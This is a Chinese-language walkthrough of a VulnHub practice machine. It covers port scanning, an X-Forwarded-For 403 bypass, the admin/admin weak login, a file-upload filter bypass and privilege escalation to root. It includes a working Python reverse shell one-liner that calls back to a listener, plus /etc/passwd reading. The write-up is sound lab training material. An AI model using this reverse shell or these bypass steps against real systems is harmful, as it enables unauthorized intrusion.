第八台靶机
第八台靶机
靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
难度等级:低
打靶目标:取得 root 权限 + 2 Flag
攻击方法:
-
主机发现
-
端口扫描
-
WEB信息收集
-
指纹探测
-
弱口令
-
403 Bypass
-
文件上传及绕过
-
base64编码
-
本地提权
导入靶机与kali在同一网并开启打靶过程
主机发现
sudo arp-scan -l

端口扫描
sudo nmap -p- 10.0.2.9

发现只开放了80和22端口,继续进行应用版本的发现
sudo nmap -A -p22,80 10.0.2.9

既然开启了80端口并且开放了apache服务,那我们打开浏览器去看看是不是有注入,上传,命令执行等漏洞

网站正在建设中,但是服务正在运行
WEB信息收集
指纹信息收集
1.收集服务端软件服务的信息
whatweb http://10.0.2.9

目录扫描
dirsearch -u 10.0.2.9

存在很多403的文件,可是由于权限不够无法发访问,我发发现administrator页面重定向到了自身的页面的/下去了
403 Bypass
使用burp抓取administrator页面的包

可以知道这个页面是存在的,但是由于权限限制导致无法访问。管理员进行权限划分的时候可能存在薄弱性的,对于遇到403的时候我们都要进行一下403bapss尝试进行绕过一波
1.旁站绕过

2.通过覆盖URL的方式进行绕过

3.通过ReFerer头部进行绕过

4.其他方法,利用这些头部信息来欺骗服务器,因为服务器往往藏在重重的代理服务器,waf和防火墙之后,真实流量请求过程( 前端 -> CDN节点 反向代理 -> 真实的waf 再反向代理 ->最终的服务器 )真实环境往往更加的复杂,要经过更多层的反向代理,没经过一次反向代理之后都有可能再请求头添加上一个类似的X开头的非标准http的头部作为记录,在这里进行修改为127.0.0.1,从而达到欺骗服务器的效果

附上一些其他参考链接:https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3
https://book.hacktricks.xyz/pentesting/pentesting-web/403-and-401-bypasses
https://infosecwriteups.com/403-forbidden-bypass-leads-to-hall-of-fame-ff61ccd0a71e
回到题目,进过测试使用X-Forwarded-For:127.0.0.1可以绕过403验证,让这个服务器以为这个请求来自于自身请求,服务器对于自身请求不会有限制

弱口令
记得每次请求都要带上X-Forwarded-For:127.0.0.1,不然还会被拒绝

记过测试弱口令账号:admin 密码:admin

文件上传及绕过
在此处发现了上传

上传常用绕过的方式
后缀名

文件类型

文件头

这里直接上传

发现不允许上传,看来有过滤

通过修改文件类型,成功了
使用浏览器直接访问试试看,记得加X-Forwarded-For:127.0.0.1

返回空页面基本上就是成功了


成功突破边界,拿到shell了,查看一下有没有python环境

存在python环境,使用python反弹shell的代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
开启kail的nc监听端口
nc -lvnp 4444

成功反弹shell,在升级一下这个shell
python -c "import pty; pty.spawn('/bin/bash')"

本地提权
首先就是查看一下靶机上用户账号的信息
cat /etc/passwd

发现两个账号是存在bash的
我们先去home目录下看看

意外发现一个flag,但是这个flag有点想base64的编码,还有一个yousef的目录

哎嘿,直接给ssh账号和密码了????,之前扫描也发现开放了22端口,走走走,登陆一波

成功登陆,获得新shell,查看一下sudo权限

yousef可以运行系统上的所有程序的,那咱直接切换权限

成功拿到root权限,这是最简单的提权了
既然都有root权限了,那去root目录下看看

发现第二个flag,这也有点像base64的编码

靶机的作者的留言

浙公网安备 33010602011771号